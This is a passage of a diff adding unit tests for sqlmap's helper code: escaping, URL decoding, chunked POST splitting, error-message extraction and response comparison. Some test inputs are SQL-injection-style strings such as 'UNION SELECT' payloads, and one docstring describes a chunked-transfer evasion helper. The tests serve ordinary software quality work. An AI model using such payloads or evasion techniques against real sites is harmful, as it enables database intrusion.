self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + from lib.core.common import chunkSplitPostData + # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"\u2122") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +# =========================================================================== # +# from tests/test_core_final.py (common.py classes) +# =========================================================================== # + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
    foobar
    "), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

    Only a test page

    ") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_prose_like_dbms_signature(self): + # a specific DBMS signature must be extracted even when it reads like plain text (few + # non-writing chars) - the non-writing-char ratio guards only the generic keyword regexes + page = "Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark after the character string ''." + self.assertEqual(extractErrorMessage(page), "Unclosed quotation mark after the character string ''.") + + def test_extract_error_message_generic_prose_still_rejected(self): + # the generic '(fatal|error|warning): ...' path must still drop natural-language prose + self.assertIsNone(extractErrorMessage("Error: everything is working fine and nothing is wrong here")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +class TestSetColorHandlerMismatch(unittest.TestCase): + """ + Regression test for issue #6122: setColor() decided whether to colorize purely from + conf.disableColoring/IS_TTY, independent of whether the installed LOGGER_HANDLER actually + supports colorize() (a plain logging.StreamHandler - installed for --disable-coloring, or as + the ansistrm-unavailable fallback - never defines it). A multiprocessing hash-cracking worker + hit exactly this mismatch (conf.disableColoring not carried over into the worker) and crashed + with an AttributeError that got misreported as "there was a problem while hashing entry". + """ + + def setUp(self): + import lib.core.common as common_mod + self._common_mod = common_mod + self._saved_handler = common_mod.LOGGER_HANDLER + self._saved_disableColoring = conf.get("disableColoring") + + def tearDown(self): + self._common_mod.LOGGER_HANDLER = self._saved_handler + conf.disableColoring = self._saved_disableColoring + + def test_plain_handler_without_colorize_does_not_raise(self): + import logging + self._common_mod.LOGGER_HANDLER = logging.StreamHandler() # no .colorize(), like the --disable-coloring handler + conf.disableColoring = False # the desync: coloring "should" apply, but handler can't + result = setColor("[INFO] current status: abcde", istty=True) # must not raise + self.assertIsInstance(result, str) + + def test_colorizing_handler_still_used(self): + # sanity check: a handler that DOES define colorize() is unaffected by the guard + calls = [] + + class _FakeColorizingHandler(object): + def colorize(self, message, levelno, force=False): + calls.append((message, levelno, force)) + return "COLORIZED" + + self._common_mod.LOGGER_HANDLER = _FakeColorizingHandler() + conf.disableColoring = False + result = setColor("[INFO] current status: abcde", istty=True) + self.assertEqual(result, "COLORIZED") + self.assertEqual(len(calls), 1) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py new file mode 100644 index 00000000000..ca37d14bd63 --- /dev/null +++ b/tests/test_common_helpers.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted request-shaping helpers in lib/core/common.py: +chunkSplitPostData (HTTP chunked-transfer evasion), randomizeParameterValue +(tamper/cache-buster), getHostHeader (Host header derivation). + +chunkSplitPostData uses random chunk sizes, so its output is asserted +structurally (reassembles to the original, terminates correctly) rather than +byte-for-byte; randomizeParameterValue is asserted via its invariants. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import chunkSplitPostData, randomizeParameterValue, getHostHeader + + +def _dechunk(data): + """Reassemble an HTTP/1.1 chunked body back into its payload.""" + out = [] + i = 0 + while i < len(data): + nl = data.index("\r\n", i) + size = int(data[i:nl].split(";")[0], 16) # size; optional chunk-extension + start = nl + 2 + out.append(data[start:start + size]) + i = start + size + 2 # skip chunk data + trailing CRLF + if size == 0: + break + return "".join(out) + + +class TestChunkSplit(unittest.TestCase): + def test_reassembles_to_original(self): + for payload in ("a=1&b=2", "x" * 50, "single=value", ""): + self.assertEqual(_dechunk(chunkSplitPostData(payload)), payload, + msg="chunk reassembly failed for %r" % payload) + + def test_terminates_with_zero_chunk(self): + self.assertTrue(chunkSplitPostData("a=1&b=2").endswith("0\r\n\r\n")) + + +class TestRandomizeParameterValue(unittest.TestCase): + def test_length_preserved(self): + for v in ("abc123", "value", "42", "MixedCASE99"): + self.assertEqual(len(randomizeParameterValue(v)), len(v), msg="length changed for %r" % v) + + def test_char_class_preserved(self): + # letters stay letters, digits stay digits (positionally) + src = "abc123XYZ789" + out = randomizeParameterValue(src) + for a, b in zip(src, out): + self.assertEqual(a.isdigit(), b.isdigit(), msg="char class changed: %r -> %r" % (a, b)) + self.assertEqual(a.isalpha(), b.isalpha(), msg="char class changed: %r -> %r" % (a, b)) + + +class TestGetHostHeader(unittest.TestCase): + def test_with_port(self): + self.assertEqual(getHostHeader("http://h:8080/p"), "h:8080") + + def test_without_port(self): + self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison.py b/tests/test_comparison.py new file mode 100644 index 00000000000..5f361e21ce3 --- /dev/null +++ b/tests/test_comparison.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The true/false/None response oracle (lib/request/comparison.py). + +The seqMatcher ratio path needs a live page template and is intentionally left +to --vuln. What IS pure and worth pinning here is the short-circuit decision +table: --string / --not-string / --regexp / --code matching, and the _adjust() +negative-logic flip. These are the rules that decide whether a payload counts +as True, and they are easy to break with a refactor. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.comparison import comparison, _adjust +from lib.core.common import removeReflectiveValues +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.data import conf, kb + + +def _reset_match_conf(): + conf.string = conf.notString = conf.regexp = conf.code = None + + +class TestStringMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_string_present_is_true(self): + conf.string = "WELCOME" + self.assertTrue(comparison("xx WELCOME yy", None, code=200)) + + def test_string_absent_is_false(self): + conf.string = "WELCOME" + self.assertFalse(comparison("nothing here", None, code=200)) + + +class TestRegexpMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_regexp_match_is_true(self): + conf.regexp = "id=\\d+" + self.assertTrue(comparison("user id=42 ok", None, code=200)) + + def test_regexp_nomatch_is_false(self): + conf.regexp = "id=\\d+" + self.assertFalse(comparison("user name", None, code=200)) + + +class TestCodeMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_code_match_is_true(self): + conf.code = 200 + self.assertTrue(comparison("body", None, code=200)) + + def test_code_mismatch_is_false(self): + conf.code = 200 + self.assertFalse(comparison("body", None, code=404)) + + +class TestAdjustNegativeLogic(unittest.TestCase): + """_adjust flips the condition under negative logic (the raw-page scheme), + but leaves None untouched and never flips when getRatioValue is requested.""" + + def setUp(self): + _reset_match_conf() # negative logic only applies with no string/regexp/code set + + def tearDown(self): + _reset_match_conf() + kb.negativeLogic = False + + def test_plain_passthrough(self): + kb.negativeLogic = False + self.assertEqual(_adjust(True, False), True) + self.assertEqual(_adjust(False, False), False) + + def test_negative_logic_flips(self): + kb.negativeLogic = True + self.assertEqual(_adjust(True, False), False) + self.assertEqual(_adjust(False, False), True) + + def test_negative_logic_leaves_none(self): + kb.negativeLogic = True + self.assertIsNone(_adjust(None, False)) + + +class TestRemoveReflectiveValues(unittest.TestCase): + """Reflected payloads are masked before comparison so a page echoing the + injected string isn't mistaken for a True/different response. Note: the + masking engages for *bordered* payloads (containing non-alpha chars), which + is what real injection payloads look like.""" + + def test_reflected_payload_is_masked(self): + out = removeReflectiveValues(u"id=1 UNION SELECT 1,2,3 end", u"1 UNION SELECT 1,2,3") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn(u"UNION SELECT 1,2,3", out) + + def test_not_reflected_unchanged(self): + content = u"nothing reflected here" + self.assertEqual(removeReflectiveValues(content, u"1 AND 1=1"), content) + + def test_none_payload_unchanged(self): + content = u"id=1 AND 1=1 end" + self.assertEqual(removeReflectiveValues(content, None), content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison_json.py b/tests/test_comparison_json.py new file mode 100644 index 00000000000..247195c193f --- /dev/null +++ b/tests/test_comparison_json.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +D1 - structure-aware (JSON) detection oracle. Two layers: + * jsonMinimize() (lib/core/common.py): the order-independent leaf-path projection. + * comparison() (lib/request/comparison.py): when the response Content-Type is JSON, the + similarity ratio is computed over that projection instead of raw text - so key + reordering / whitespace noise no longer perturbs it (false-positive fix) and a small + value/structure change is no longer drowned out in a large body (false-negative fix). + +The headline tests assert the JSON path is *better* than the text path on the same inputs, +not merely that it runs; and that any non-JSON / unparseable / explicit-mode case falls +back to the exact text behavior (so the HTML oracle is untouched). +""" + +import os +import sys +import unittest + +sys.path.insert(0, 